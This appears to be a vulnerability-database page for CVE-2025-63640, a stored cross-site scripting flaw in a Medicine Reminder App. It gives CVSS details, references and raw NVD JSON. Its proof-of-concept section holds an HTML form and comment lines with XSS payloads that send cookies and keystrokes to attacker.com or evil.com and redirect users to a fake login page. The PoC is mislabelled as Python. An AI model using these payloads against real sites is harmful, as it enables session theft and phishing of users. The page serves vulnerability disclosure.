CVE-2025-63640

Description

Sourcecodester Medicine Reminder App v1.0 is vulnerable to Cross-Site Scripting (XSS) in the "Medicine Name" and "Notes (Optional)" fields when creating an "Upcoming Reminder", allowing an attacker to inject arbitrary potentially malicious HTML/JavaScript code that executes in the victim's browser upon clicking the "Save Reminder" button.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:rems:medicine_reminder_app:1.0:*:*:*:*:*:*:* - VULNERABLE

Sourcecodester Medicine Reminder App v1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-63640 PoC: Medicine Reminder App XSS -->
<html>
<head>
    <title>CVE-2025-63640 XSS PoC</title>
</head>
<body>
    <h1>CVE-2025-63640 Stored XSS PoC</h1>
    <p>Target: Sourcecodester Medicine Reminder App v1.0</p>
    
    <form id="exploitForm" action="http://target-site.com/reminder.php" method="POST">
        <!-- Medicine Name field with XSS payload -->
        <input type="text" name="medicine_name" 
               value='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'>
        
        <!-- Notes field with XSS payload -->
        <textarea name="notes">
            <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">
        </textarea>
        
        <!-- Save Reminder button -->
        <button type="submit" name="save_reminder">Save Reminder</button>
    </form>

    <script>
        // Alternative PoC: Auto-submit form
        // document.getElementById('exploitForm').submit();
        
        // XSS payload examples:
        // 1. Cookie theft: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
        // 2. Keylogger: <script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script>
        // 3. Session hijack: <script>fetch('https://attacker.com/session?cookie='+document.cookie)</script>
        // 4. Phishing redirect: <script>if(confirm('Session expired. Please login again')){location='https://attacker.com/fake-login'}</script>
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63640
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63640
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63640/
[4] VulDB https://vuldb.com/cve/CVE-2025-63640
[5] https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-63640/README.md
[6] https://www.sourcecodester.com/javascript/18402/medicine-reminder-app-using-html-css-and-javascript-source-code.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63640", "sourceIdentifier": "[email protected]", "published": "2025-11-07T20:15:38.243", "lastModified": "2025-11-17T18:13:14.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Medicine Reminder App v1.0 is vulnerable to Cross-Site Scripting (XSS) in the \"Medicine Name\" and \"Notes (Optional)\" fields when creating an \"Upcoming Reminder\", allowing an attacker to inject arbitrary potentially malicious HTML/JavaScript code that executes in the victim's browser upon clicking the \"Save Reminder\" button."}, {"lang": "es", "value": "Sourcecodester Medicine Reminder App v1.0 es vulnerable a Cross-Site Scripting (XSS) en los campos 'Medicine Name' y 'Notes (Optional)' al crear un 'Upcoming Reminder', permitiendo a un atacante inyectar código HTML/JavaScript arbitrario potencialmente malicioso que se ejecuta en el navegador de la víctima al hacer clic en el botón 'Save Reminder'."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rems:medicine_reminder_app:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "1A1883BA-D70B-41AF-8A9D-40AAB9A5003A"}]}]}], "references": [{"url": "https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-63640/README.md", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://www.sourcecodester.com/javascript/18402/medicine-reminder-app-using-html-css-and-javascript-source-code.html", "source": "[email protected]", "tags": ["Product"]}]}}